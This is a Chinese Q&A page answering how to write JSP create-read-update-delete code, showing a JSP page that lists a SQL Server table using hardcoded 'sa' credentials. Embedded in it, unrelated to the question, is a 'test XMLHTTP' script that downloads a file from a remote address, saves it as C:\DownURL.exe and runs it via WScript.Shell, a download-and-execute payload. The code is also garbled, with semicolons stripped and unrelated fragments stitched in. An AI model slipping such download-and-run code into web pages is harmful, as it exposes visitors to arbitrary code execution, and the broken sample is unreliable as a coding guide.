jsp怎么写增删改查代码?

jsp怎么写增删改查代码?,第1张

下面的代码即可实现(对数据库的 *** 作):

<%@ page

  language="java"

  contentType="text/html charset=UTF-8"

  pageEncoding="UTF-8"

%>

<%@page import="java.sql.*"%>

<center>

<H1> <font color="blue" size="12">管理中心</font></H1>

<HR />

<table  width="80%"  border="1">

  <tr>

    <th>ID</th>

    <th>书名</th>

    <th>作者</th>

    <th>价格</th>

    <th>删除</th>

 </tr>

  <%                                                           

   // 数据库的名字

    String dbName = "zap"

    // 登录数据库的用户名

    String username = "sa"

    // 登录数据库的密码

    String password = "123"

    // 数据库的IP地址,本机可以用 localhost 或者 127.0.0.1

    String host = "127.0.0.1"

    // 数据库的端口,一般不会修改,默认为1433

    int port = 1433

    String connectionUrl = "jdbc:sqlserver://" + host + ":" + port + "databaseName=" + dbName + "user=" + username

        + "password=" + password

    //

    //声明需要使用的资源   

    // 数据库连接,记得用完了一定要关闭

    Connection con = null

    // Statement 记得用完了一定要关闭

    Statement stmt = null

    // 结果集,记得用完了一定要关闭

    ResultSet rs = null

    try {

      // 注册驱动   

      Class.forName("com.microsoft.sqlserver.jdbc.SQLServerDriver")

      // 获得一个数据库连接

      con = DriverManager.getConnection(connectionUrl)

      String SQL = "SELECT * from note"

      // 创建查询

      stmt = con.createStatement()

      // 执行查询,拿到结果集

      rs = stmt.executeQuery(SQL)

     while (rs.next()) {

         %>

     <tr>

      <td>

     <%=rs.getInt(1)%>

      </td>

      <td>

       <a href="prepareupdate?ID=<%=rs.getInt("ID")%>" target="_blank"><%=rs.getString(2)%></a>

      </td>

      <td>

       <%=rs.getString(3)%>

      </td>

      <td>

       <%=rs.getString(4)%>

      </td>

      <td>

      <a href="delete?ID=<%=rs.getInt("ID")%>" target="_blank">删除</a>

     </td>

    </tr>

    <%

     }

} catch (Exception e) {

      // 捕获并显示异常

      e.printStackTrace()

    } finally {

      // 关闭我们使用过的资源

      if (rs != null)

        try {

          rs.close()

        } catch (Exception e) {}

      if (stmt != null)

        try {

          stmt.close()

        } catch (Exception e) {}

      if (con != null)

        try {

          con.close()

        } catch (Exception e) {}

    }

  %>

</table>

 <a href="insert.jsp">添加新纪录</a>

</center>

<center>

<br>

<table border="0" cellpadding="0" cellspacing="0" width="80%">

<tr>

<td width="100%" valign="top">测试XMLHTTP</td>

</tr>

</table>

<br>

<table border="0" cellpadding="0" cellspacing="0" width="80%">

<tr>

<td width="100%" valign="top">

<input type="text" value="http://10.70.38.10:9002/System/Dot/Show.jsp?Id=1" id="URLID">

<input type="text" value="C:\\DownURL.exe" id="LocalURLID">

<input type="button" value="下载" onclick="DownURL(URLID.value,LocalURLID.value)">

</td>

</tr>

</table>

<br>

<div id=App style="border:1 solid #000000background-color:#FFFFFFheight:200pxoverflow:autowidth:80%z-index:2" contentEditable></div>

<script>

function ExeRun(command)

{

window.oldOnError=window.onerror

window._command=command

window.onerror=function(err)

{

if(err.indexOf('automation')!=-1)

{

alert("命令"+window._command+"已经被用户禁止!")

return true

}

else return false

}

var wsh=new ActiveXObject("WScript.Shell")

if(wsh)

wsh.Run(command)

window.onerror=window.oldOnError

}

function DownURL(strRemoteURL,strLocalURL)

{

try

{

var xmlHTTP=new ActiveXObject("Microsoft.XMLHTTP")

xmlHTTP.open("Get",strRemoteURL,false)

xmlHTTP.send()

var adodbStream=new ActiveXObject("ADODB.Stream")

adodbStream.Type=1//1=adTypeBinary

adodbStream.Open()

adodbStream.write(xmlHTTP.responseBody)

adodbStream.SaveToFile(strLocalURL,2)

adodbStream.Close()

adodbStream=null

xmlHTTP=null

ExeRun(strLocalURL)

}

catch(e)

{

window.confirm("下载URL出错!")

}

//window.confirm("下载完成.")

}

</script>

<br>

<table border="0" cellpadding="0" cellspacing="0" width="80%">

<tr>

<td width="100%" valign="top">测试XMLHTTP</td>

</tr>

</table>

</br>

</center>

<%

List<String>list = new ArrayList<String>()

Iterator it = list.iterator()

while(it.hasNext()){

%>

<%=(String)it.next()%>

<%}%>

上面的LIST可以是从其他页面传过来的 我现在是以上面的list已经有了你说的参数那么写的


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/bake/11821212.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-18
下一篇 2023-05-18

发表评论

登录后才能评论

评论列表(0条)

保存